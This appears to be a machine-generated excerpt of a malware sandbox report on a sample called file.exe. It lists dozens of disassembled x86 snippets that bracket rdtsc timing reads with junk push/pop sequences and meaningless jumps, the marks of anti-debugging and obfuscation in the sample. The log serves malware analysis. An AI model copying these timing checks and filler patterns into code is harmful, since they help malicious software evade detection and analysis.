Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1174528 second address: 117452D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11103BC second address: 11103C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1179439 second address: 117943F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117943F second address: 1179475 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB884CB2346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jnp 00007FB884CB2346h 0x00000017 popad 0x00000018 pop esi 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FB884CB2355h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1179475 second address: 117947B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117965B second address: 1179665 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FB884CB2346h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11797B4 second address: 11797BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11797BA second address: FA3D2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 cmc 0x0000000a push dword ptr [ebp+122D0FF9h] 0x00000010 js 00007FB884CB2356h 0x00000016 jmp 00007FB884CB2350h 0x0000001b call dword ptr [ebp+122D26C7h] 0x00000021 pushad 0x00000022 jmp 00007FB884CB234Eh 0x00000027 clc 0x00000028 xor eax, eax 0x0000002a add dword ptr [ebp+122D17E2h], ecx 0x00000030 mov edx, dword ptr [esp+28h] 0x00000034 pushad 0x00000035 mov ebx, esi 0x00000037 mov dl, bl 0x00000039 popad 0x0000003a mov dword ptr [ebp+122D3C17h], eax 0x00000040 jmp 00007FB884CB2356h 0x00000045 mov esi, 0000003Ch 0x0000004a jnp 00007FB884CB2352h 0x00000050 jne 00007FB884CB234Ch 0x00000056 add esi, dword ptr [esp+24h] 0x0000005a jmp 00007FB884CB2356h 0x0000005f lodsw 0x00000061 jmp 00007FB884CB234Bh 0x00000066 add eax, dword ptr [esp+24h] 0x0000006a pushad 0x0000006b mov edx, 29713272h 0x00000070 mov bl, al 0x00000072 popad 0x00000073 mov ebx, dword ptr [esp+24h] 0x00000077 mov dword ptr [ebp+122D1A88h], ecx 0x0000007d push eax 0x0000007e push eax 0x0000007f push edx 0x00000080 push eax 0x00000081 jmp 00007FB884CB2350h 0x00000086 pop eax 0x00000087 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117B818 second address: 117B81C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118081E second address: 1180822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180822 second address: 1180846 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB88452E0BCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB88452E0BBh 0x00000012 jbe 00007FB88452E0B6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180846 second address: 1180850 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB884CB2346h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180850 second address: 118085B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118085B second address: 1180866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180DEE second address: 1180DF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180DF5 second address: 1180E2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB884CB2355h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d jnp 00007FB884CB2346h 0x00000013 jne 00007FB884CB2346h 0x00000019 pop eax 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jg 00007FB884CB234Ch 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180E2B second address: 1180E32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180E32 second address: 1180E3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FB884CB2346h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180E3F second address: 1180E4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FB88452E0B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180E4A second address: 1180E50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180F98 second address: 1180FA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB88452E0BDh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180FA9 second address: 1180FBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007FB884CB234Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180FBE second address: 1180FC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180FC2 second address: 1180FC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180FC8 second address: 1180FF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FB88452E0B6h 0x00000009 jmp 00007FB88452E0C6h 0x0000000e popad 0x0000000f push esi 0x00000010 pushad 0x00000011 popad 0x00000012 jnc 00007FB88452E0B6h 0x00000018 pop esi 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push esi 0x0000001c push esi 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180FF8 second address: 1181002 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118115A second address: 118115E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118115E second address: 1181198 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jng 00007FB884CB234Ch 0x0000000d jmp 00007FB884CB2350h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FB884CB234Fh 0x00000019 jns 00007FB884CB2346h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11816BA second address: 11816BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11816BE second address: 11816C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11817E9 second address: 11817EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11817EF second address: 11817F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11817F5 second address: 1181825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FB88452E0C4h 0x0000000b push ecx 0x0000000c je 00007FB88452E0B6h 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 jne 00007FB88452E0B6h 0x0000001b jne 00007FB88452E0B6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1181943 second address: 118194B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118194B second address: 118195F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FB88452E0B6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pushad 0x00000012 popad 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118195F second address: 1181973 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB884CB2350h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1181973 second address: 1181979 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1184802 second address: 1184808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1184808 second address: 1184820 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB88452E0B6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jnc 00007FB88452E0B6h 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1184820 second address: 1184839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB884CB2350h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1184839 second address: 118483F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1188F0F second address: 1188F1F instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB884CB2346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1187D27 second address: 1187D67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FB88452E0BEh 0x0000000a jmp 00007FB88452E0C0h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jnl 00007FB88452E0B6h 0x00000019 jnl 00007FB88452E0B6h 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 push ecx 0x00000023 pushad 0x00000024 popad 0x00000025 jne 00007FB88452E0B6h 0x0000002b pop ecx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11520A4 second address: 11343AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007FB884CB2348h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 0000001Ah 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 mov dx, 317Fh 0x00000029 lea eax, dword ptr [ebp+12481E28h] 0x0000002f push 00000000h 0x00000031 push edi 0x00000032 call 00007FB884CB2348h 0x00000037 pop edi 0x00000038 mov dword ptr [esp+04h], edi 0x0000003c add dword ptr [esp+04h], 00000019h 0x00000044 inc edi 0x00000045 push edi 0x00000046 ret 0x00000047 pop edi 0x00000048 ret 0x00000049 nop 0x0000004a jmp 00007FB884CB2350h 0x0000004f push eax 0x00000050 push eax 0x00000051 push ecx 0x00000052 jbe 00007FB884CB2346h 0x00000058 pop ecx 0x00000059 pop eax 0x0000005a nop 0x0000005b mov dword ptr [ebp+122D17DCh], esi 0x00000061 mov cx, D7FDh 0x00000065 call dword ptr [ebp+122D1918h] 0x0000006b push eax 0x0000006c push edx 0x0000006d jmp 00007FB884CB2352h 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115256A second address: 1152576 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1152576 second address: 115257A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115257A second address: FA3D2C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 call 00007FB88452E0BCh 0x0000000d cld 0x0000000e pop edx 0x0000000f push eax 0x00000010 mov dword ptr [ebp+1245BC7Ah], ecx 0x00000016 pop edx 0x00000017 push dword ptr [ebp+122D0FF9h] 0x0000001d cld 0x0000001e and dx, 733Dh 0x00000023 call dword ptr [ebp+122D26C7h] 0x00000029 pushad 0x0000002a jmp 00007FB88452E0BEh 0x0000002f clc 0x00000030 xor eax, eax 0x00000032 add dword ptr [ebp+122D17E2h], ecx 0x00000038 mov edx, dword ptr [esp+28h] 0x0000003c pushad 0x0000003d mov ebx, esi 0x0000003f mov dl, bl 0x00000041 popad 0x00000042 mov dword ptr [ebp+122D3C17h], eax 0x00000048 jmp 00007FB88452E0C6h 0x0000004d mov esi, 0000003Ch 0x00000052 jnp 00007FB88452E0C2h 0x00000058 add esi, dword ptr [esp+24h] 0x0000005c jmp 00007FB88452E0C6h 0x00000061 lodsw 0x00000063 jmp 00007FB88452E0BBh 0x00000068 add eax, dword ptr [esp+24h] 0x0000006c pushad 0x0000006d mov edx, 29713272h 0x00000072 mov bl, al 0x00000074 popad 0x00000075 mov ebx, dword ptr [esp+24h] 0x00000079 mov dword ptr [ebp+122D1A88h], ecx 0x0000007f push eax 0x00000080 push eax 0x00000081 push edx 0x00000082 push eax 0x00000083 jmp 00007FB88452E0C0h 0x00000088 pop eax 0x00000089 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1152625 second address: 1152630 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FB884CB2346h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1152630 second address: 1152652 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c jmp 00007FB88452E0C5h 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1152767 second address: 115276B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115276B second address: 11527BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB88452E0C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a add dword ptr [esp], 6FD8C546h 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007FB88452E0B8h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b mov edi, eax 0x0000002d push 581EEA8Eh 0x00000032 push eax 0x00000033 push edx 0x00000034 push ebx 0x00000035 jns 00007FB88452E0B6h 0x0000003b pop ebx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11528A2 second address: 11528A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1152F63 second address: 1152F67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1152F67 second address: 1152FB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007FB884CB2348h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 and cl, FFFFFFACh 0x00000027 mov dword ptr [ebp+12451453h], ecx 0x0000002d push 0000001Eh 0x0000002f mov dword ptr [ebp+122D18DAh], ecx 0x00000035 nop 0x00000036 jmp 00007FB884CB234Eh 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e jnp 00007FB884CB234Ch 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1152FB8 second address: 1152FBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1152FBC second address: 1152FCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB884CB234Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1152FCA second address: 1152FCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11532C6 second address: 115330B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB884CB234Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007FB884CB2353h 0x00000012 mov eax, dword ptr [eax] 0x00000014 jns 00007FB884CB2354h 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push ecx 0x00000021 push edi 0x00000022 pop edi 0x00000023 pop ecx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115330B second address: 1153311 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11533BB second address: 11533C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11533C1 second address: 11533C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11533C5 second address: 11533D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c ja 00007FB884CB2346h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11533D9 second address: 11533DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11533DE second address: 115345C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB884CB2352h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a adc dl, 00000066h 0x0000000d lea eax, dword ptr [ebp+12481E6Ch] 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007FB884CB2348h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 0000001Ch 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d mov ecx, 16D481EAh 0x00000032 push eax 0x00000033 jmp 00007FB884CB2358h 0x00000038 mov dword ptr [esp], eax 0x0000003b push edx 0x0000003c mov edi, dword ptr [ebp+122D39AFh] 0x00000042 pop ecx 0x00000043 lea eax, dword ptr [ebp+12481E28h] 0x00000049 sub dword ptr [ebp+122D18DAh], ecx 0x0000004f push eax 0x00000050 pushad 0x00000051 pushad 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115345C second address: 1134F53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push ecx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ecx 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007FB88452E0B8h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000018h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 call dword ptr [ebp+122D2A68h] 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1134F53 second address: 1134F57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1134F57 second address: 1134F67 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB88452E0B6h 0x00000008 jns 00007FB88452E0B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1134F67 second address: 1134F74 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB884CB2348h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1188ADC second address: 1188AE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1188AE4 second address: 1188AE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1188AE8 second address: 1188AF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jo 00007FB88452E0B6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118F453 second address: 118F471 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FB884CB2358h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118DFAF second address: 118DFE0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB88452E0C9h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007FB88452E0BCh 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118DFE0 second address: 118DFE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118DFE6 second address: 118DFED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118DFED second address: 118DFF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FB884CB2346h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118E453 second address: 118E459 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118E459 second address: 118E45F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
